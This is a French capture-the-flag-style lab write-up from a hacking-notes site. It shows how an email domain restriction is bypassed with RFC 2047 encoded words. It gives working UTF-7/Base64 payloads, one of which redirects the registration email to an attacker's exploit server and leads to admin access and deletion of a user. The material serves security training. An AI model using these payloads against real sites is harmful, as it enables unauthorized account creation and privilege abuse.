> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# Contournement des contrôles d’accès par une analyse incohérente des adresses e-mail

### Contournement des contrôles d’accès à l’aide de divergences d’analyse de l’adresse e-mail

#### Description du laboratoire

Ce laboratoire met en œuvre une validation des adresses e-mail afin d’empêcher l’inscription avec des domaines non autorisés. / Cependant, il existe une incohérence entre la logique de validation côté application et la bibliothèque utilisée pour interpréter réellement les adresses e-mail.

En utilisant cette différence d’analyse, il est possible de s’inscrire avec une adresse e-mail externe tout en contournant la restriction sur le domaine autorisé, puis d’accéder aux fonctionnalités administrateur et de supprimer l’utilisateur **carlos**.

<figure><img src="/files/9d57efc01673d2d0c7f20d2d86ac76ec906f7476" alt=""><figcaption></figcaption></figure>

#### Contrainte d’inscription

Lors d’une tentative d’inscription avec une adresse classique comme :

```
test@jord4n.pro
```

L’application refuse l’inscription et indique que seules les adresses appartenant au domaine suivant sont autorisées :

```
ginandjuice.shop
```

<figure><img src="/files/58627b9e2cfb9c27c9f2e6495714bb656d4dd856" alt=""><figcaption></figcaption></figure>

Une inscription légitime avec ce domaine déclenche alors un e-mail de confirmation :

```
Veuillez consulter vos e-mails pour le lien d’inscription de votre compte
```

<figure><img src="/files/8528516438b0988365eae893c1f2d6f64f51d783" alt=""><figcaption></figcaption></figure>

Il est donc nécessaire de recevoir cet e-mail pour finaliser l’inscription.

#### Origine de la vulnérabilité

<figure><img src="/files/363adde251bdc03b5c0a16f9df2279343d12b5a7" alt=""><figcaption></figcaption></figure>

La faille repose sur l’utilisation d’un **mot encodé** (RFC 2047), dont le format est le suivant :

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

Ce mécanisme permet d’encoder certaines parties d’une adresse e-mail.

Le validateur de l’application rejette certains encodages, tandis que l’analyseur d’e-mail final les interprète correctement.

#### Bloc initial

Une tentative d’encodage simple en UTF-8 (quoted-printable) est bloquée par le WAF :

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

Réponse

```bash
Inscription bloquée pour des raisons de sécurité
```

<figure><img src="/files/2792ef18d5bb839f77cd6f3cbf7995080f4ed78e" alt=""><figcaption></figcaption></figure>

#### Technique de contournement

Pour contourner ce filtrage, **encodage UTF-7 avec Base64** est utilisée.

Principe :

* Encoder un caractère en UTF-16

<figure><img src="/files/e6dd2f0d2b282c141c9c0db601c1889496092c26" alt=""><figcaption></figcaption></figure>

* Convertir ce résultat en Base64

<figure><img src="/files/657d9ec33c5bd2383a46913bc7b2ed1724febc3d" alt=""><figcaption></figcaption></figure>

* Utiliser dans un Encoded-word UTF-7

Exemple d’encodage de caractère `un`:

* UTF-16 → Base64 : `AGE=`

Charge utile minimale fonctionnelle :

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

Cette valeur est acceptée par la logique de validation.

<figure><img src="/files/c3f9dba7a7ca7a683c8a543e3912feea7751fd70" alt=""><figcaption></figcaption></figure>

#### Fonctionnement complet avec une adresse contrôlée

Adresse de l’attaquant :

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

Construction du payload :

* `&AEA-` représente `@`
* `&ACA-` représente un espace, empêchant une interprétation stricte du domaine final

<figure><img src="/files/8e8ed895c51b618c2f99cabd7d7b1fede57fb1c5" alt=""><figcaption></figcaption></figure>

Payload final utilisé lors de l’inscription :

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="/files/73f30dabd8a03c44bee9e647f384ca5886038f28" alt="" width="563"><figcaption></figcaption></figure>

Adresse réellement interprétée par le serveur de messagerie :

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="/files/80ca7457247591f1977ea0e18832d305258bad87" alt=""><figcaption></figcaption></figure>

#### Résultat

* L’application valide l’adresse car elle se termine par `@ginandjuice.shop`

<figure><img src="/files/81ecfca560fb644e5756605b45a44981389098dc" alt=""><figcaption></figcaption></figure>

* Le serveur de messagerie envoie l’e-mail à l’adresse contrôlée par l’attaquant
* Lien de confirmation reçu
* L’inscription est menée à bien avec succès
* L’accès à l’application est obtenu
* Des actions administratives deviennent possibles, y compris la suppression de l’utilisateur **carlos**

<figure><img src="/files/fde6a9621fbb70f35edfdfb88c459266faba9f4f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
